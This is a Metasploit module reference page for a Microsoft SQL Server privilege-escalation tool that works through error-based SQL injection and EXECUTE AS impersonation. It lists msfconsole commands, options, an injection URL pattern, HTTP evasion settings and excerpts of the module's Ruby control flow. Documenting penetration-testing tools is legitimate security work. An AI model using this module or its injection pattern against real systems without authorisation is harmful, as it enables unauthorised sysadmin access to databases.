Microsoft SQL Server SQLi Escalate Execute AS - Metasploit


This page contains detailed information about how to use the auxiliary/admin/mssql/mssql_escalate_execute_as_sqli metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Microsoft SQL Server SQLi Escalate Execute AS
Module: auxiliary/admin/mssql/mssql_escalate_execute_as_sqli
Source code: modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module can be used escalate privileges if the IMPERSONATION privilege has been assigned to the user via error based SQL injection. In most cases, this results in additional data access, but in some cases it can be used to gain sysadmin privileges. The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/mssql/mssql_escalate_execute_as_sqli
msf auxiliary(mssql_escalate_execute_as_sqli) > show targets
    ... a list of targets ...
msf auxiliary(mssql_escalate_execute_as_sqli) > set TARGET target-id
msf auxiliary(mssql_escalate_execute_as_sqli) > show options
    ... show and set options ...
msf auxiliary(mssql_escalate_execute_as_sqli) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the admin/mssql/mssql_escalate_execute_as_sqli auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/mssql/mssql_escalate_execute_as_sqli

msf6 auxiliary(admin/mssql/mssql_escalate_execute_as_sqli) > show info

       Name: Microsoft SQL Server SQLi Escalate Execute AS
     Module: auxiliary/admin/mssql/mssql_escalate_execute_as_sqli
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  nullbind <[email protected]>

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  COOKIE                     no        Cookie value
  DATA                       no        POST data, if necessary, with [SQLi] indicating the injection
  GET_PATH  /                yes       The complete path with [SQLi] indicating the injection
  METHOD    GET              yes       GET or POST
  Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     80               yes       The target port (TCP)
  SSL       false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                      no        HTTP server virtual host

Description:
  This module can be used escalate privileges if the IMPERSONATION 
  privilege has been assigned to the user via error based SQL 
  injection. In most cases, this results in additional data access, 
  but in some cases it can be used to gain sysadmin privileges. The 
  syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--

References:
  http://msdn.microsoft.com/en-us/library/ms178640.aspx

Module Options


This is a complete list of options available in the admin/mssql/mssql_escalate_execute_as_sqli auxiliary module:

msf6 auxiliary(admin/mssql/mssql_escalate_execute_as_sqli) > show options

Module options (auxiliary/admin/mssql/mssql_escalate_execute_as_sqli):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   COOKIE                     no        Cookie value
   DATA                       no        POST data, if necessary, with [SQLi] indicating the injection
   GET_PATH  /                yes       The complete path with [SQLi] indicating the injection
   METHOD    GET              yes       GET or POST
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     80               yes       The target port (TCP)
   SSL       false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                      no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/mssql/mssql_escalate_execute_as_sqli auxiliary module:

msf6 auxiliary(admin/mssql/mssql_escalate_execute_as_sqli) > show advanced

Module advanced options (auxiliary/admin/mssql/mssql_escalate_execute_as_sqli):

   Name                  Current Setting                                                       Required  Description
   ----                  ---------------                                                       --------  -----------
   DOMAIN                WORKSTATION                                                           yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                                  no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                                  no        Conduct a pre-exploit fingerprint verification
   HEX2BINARY            /opt/metasploit-framework/embedded/framework/data/exploits/mssql/h2b  no        The path to the hex2binary script on the disk
   HttpClientTimeout                                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                                                 no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                                               no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                                                 no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                                no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                                  yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2
                                                                                                         )
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)                    no        The User-Agent header to use for all requests
   VERBOSE               false                                                                 no        Enable detailed status messages
   WORKSPACE                                                                                   no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/mssql/mssql_escalate_execute_as_sqli module can do:

msf6 auxiliary(admin/mssql/mssql_escalate_execute_as_sqli) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/mssql/mssql_escalate_execute_as_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/mssql/mssql_escalate_execute_as_sqli) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to grab user name...


Here is a relevant code snippet related to the "Unable to grab user name..." error message:

26:	  def run
27:	    # Get the database user name
28:	    print_status("Grabbing the database user name...")
29:	    db_user = get_username
30:	    if db_user.nil?
31:	      print_error("Unable to grab user name...")
32:	      return
33:	    else
34:	      print_good("Database user: #{db_user}")
35:	    end
36:	

Couldn't retrieve user status, aborting...


Here is a relevant code snippet related to the "Couldn't retrieve user status, aborting..." error message:

37:	    # Grab sysadmin status
38:	    print_status("Checking if #{db_user} is already a sysadmin...")
39:	    admin_status = check_sysadmin
40:	
41:	    if admin_status.nil?
42:	      print_error("Couldn't retrieve user status, aborting...")
43:	      return
44:	    elsif admin_status == '1'
45:	      print_error("#{db_user} is already a sysadmin, no escalation needed.")
46:	      return
47:	    else

<DB_USER> is already a sysadmin, no escalation needed.


Here is a relevant code snippet related to the "<DB_USER> is already a sysadmin, no escalation needed." error message:

40:	
41:	    if admin_status.nil?
42:	      print_error("Couldn't retrieve user status, aborting...")
43:	      return
44:	    elsif admin_status == '1'
45:	      print_error("#{db_user} is already a sysadmin, no escalation needed.")
46:	      return
47:	    else
48:	      print_status("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")
49:	    end
50:	

<DB_USER> is NOT a sysadmin, let's try to escalate privileges.


Here is a relevant code snippet related to the "<DB_USER> is NOT a sysadmin, let's try to escalate privileges." error message:

43:	      return
44:	    elsif admin_status == '1'
45:	      print_error("#{db_user} is already a sysadmin, no escalation needed.")
46:	      return
47:	    else
48:	      print_status("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")
49:	    end
50:	
51:	    # Get list of users that can be impersonated
52:	    print_status("Enumerating a list of users that can be impersonated...")
53:	    imp_user_list = check_imp_users

Sorry, the current user doesnt have permissions to impersonate anyone.


Here is a relevant code snippet related to the "Sorry, the current user doesnt have permissions to impersonate anyone." error message:

50:	
51:	    # Get list of users that can be impersonated
52:	    print_status("Enumerating a list of users that can be impersonated...")
53:	    imp_user_list = check_imp_users
54:	    if imp_user_list.nil? || imp_user_list.empty?
55:	      print_error("Sorry, the current user doesnt have permissions to impersonate anyone.")
56:	      return
57:	    else
58:	      # Display list of users that can be impersonated
59:	      print_good("#{imp_user_list.length} users can be impersonated:")
60:	      imp_user_list.each do |dbuser|

Sorry, none of the users that can be impersonated are sysadmins.


Here is a relevant code snippet related to the "Sorry, none of the users that can be impersonated are sysadmins." error message:

64:	
65:	    # Check if any of the users that can be impersonated are sysadmins
66:	    print_status("Checking if any of them are sysadmins...")
67:	    imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
68:	    if imp_user_sysadmin.nil?
69:	      print_error("Sorry, none of the users that can be impersonated are sysadmins.")
70:	      return
71:	    end
72:	
73:	    # Attempt to escalate to sysadmin
74:	    print_status("Attempting to impersonate #{imp_user_sysadmin}...")

Fail buckets, something went wrong.


Here is a relevant code snippet related to the "Fail buckets, something went wrong." error message:

76:	
77:	    admin_status = check_sysadmin
78:	    if admin_status && admin_status == '1'
79:	      print_good("Success! #{db_user} is now a sysadmin!")
80:	    else
81:	      print_error("Fail buckets, something went wrong.")
82:	    end
83:	  end
84:	
85:	  def get_username
86:	    # Setup query to check for database username

<IMP_USER> is NOT a sysadmin


Here is a relevant code snippet related to the "<IMP_USER> is NOT a sysadmin" error message:

177:	      # check if user is a sysadmin
178:	      if parsed_result && parsed_result[0] == '1'
179:	        print_good("  #{imp_user} is a sysadmin!")
180:	        return imp_user
181:	      else
182:	        print_status("  #{imp_user} is NOT a sysadmin")
183:	      end
184:	    end
185:	
186:	    nil
187:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • nullbind <scott.sutherland[at]netspi.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.